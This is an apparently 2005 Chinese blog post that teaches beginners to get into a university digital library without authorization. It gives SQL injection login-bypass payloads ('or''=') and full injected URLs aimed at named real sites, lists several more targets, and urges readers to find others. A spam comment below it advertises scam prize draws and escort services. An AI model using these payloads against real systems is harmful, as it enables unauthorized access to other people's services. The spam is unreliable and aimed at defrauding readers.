文逸网 :::: y_syg 的网志:利用asp秘技

首页 | 新闻 | 论坛 | 博客 | 专题 | FTP | 金融 | 微博 | 图库 | MyHome | 搜索 | 登陆 | 注册 | 帮助 | 设为首页 ·在线人数: 6039

§您的位置：文逸首页 > y_syg 's home > 【教育学习】专栏 > 利用asp秘技

y_syg 的主页网址:http://wonyen.net/home.aspx?id=y_syg

给我留言

§ y_syg 的【教育学习】专栏

作者：y_syg 发表时间： 2005/10/21 23:52:36 查看： 5661 评论： 5

标题： 利用asp秘技

新发现利用asp漏洞进超星图书馆秘技

这是在看了论坛上的一个帖子后测试找出来的，特向菜鸟们推荐，
希望对大家有所帮助！
深圳广播电视大学数字图书馆

http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、MM
我们可以构造查询条件，突破限制
做法如下：
1.随便输入学号、MM，登陆，例如：学号=1,MM=1.这时会出现“此用户不存在！返回”
ie地址栏中地址为

http://218.17.219.22/bookhtm/sq/load.asp?user=1&mima=1&B1.x=31&B1.y=6
2.修改地址进入：
将上面地址中user=1&mima=1改为:user='or''='&mima='or''='
或者user='or'1'='1&mima='or'1'='1 也可
即

http://218.17.219.22/bookhtm/sq/load.asp?user='or''='&mima='or''='&B1.x=31&B1.y=6
就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞，可以登陆另外几个需要输入用户名、MM的站点,需要输入的地方都输上'or''='
如：驻马店电大

http://www.zmdtvu.net/dabookhtm/
铜陵电大

http://218.22.180.149/index.asp其他的自己好好发掘吧，

分享到：

【管理日志】【我要评论】

§评论: 利用asp秘技

回复者：aa001021 回复时间：2012/1/26 1:27:00 [第1评]

http://www.lingshengwu.com

http://www.9186.net.cn

http://www.tx13pp.com

http://www.9988518.com

腾讯公司有抽奖活动吗,腾讯活动网,QQ活动网,腾讯QQ活动,腾讯中奖是真的吗,QQ中奖是真的吗
我要上春晚中奖,我要上春晚官网,我要上春晚真情回馈,我要上春晚抽奖活动,我要上春晚中奖查询,CCTV3-我要上春晚“真情回馈双重大礼包
富豪富婆包养网,富婆俱乐部,寂寞少妇,同城交友找情人
富婆找鸭子,富婆俱乐部,同城交友找情人,富婆包养男人,富婆找情人,男公关招

【管理评论】【我要评论】

共 1 条评论; 每页显示 15 条评论; 1 / 1 ↑到页首

您未登陆,发表评论时请填写：用户名 *密码 *

注册新用户

评论：利用asp秘技

内容 (8000字以内)
(CTRL+ENTER提交)
关闭窗口

用户登陆

我要发表文章

搜索

§y_syg 的网志导航

【感想随笔】(7)
【生活休闲】(2)
【饮食健康】(0)
【自然妙趣】(0)
【潮流时尚】(0)
【游览见闻】(0)
【情感绿洲】(5)
【娱乐搞笑】(2)
【读图时代】(0)
【影音视听】(0)
【商业新知】(0)
【理论研究】(2)
【时事纵横】(1)
【社会文化】(0)
【文学欣赏】(0)
【教育学习】(10)

§y_syg 的友情链接

闽公网安备 35020502000004号

本站最高 10508 人同时在线，发生时间 2005-5-17 5:09:15
文逸科技制作维护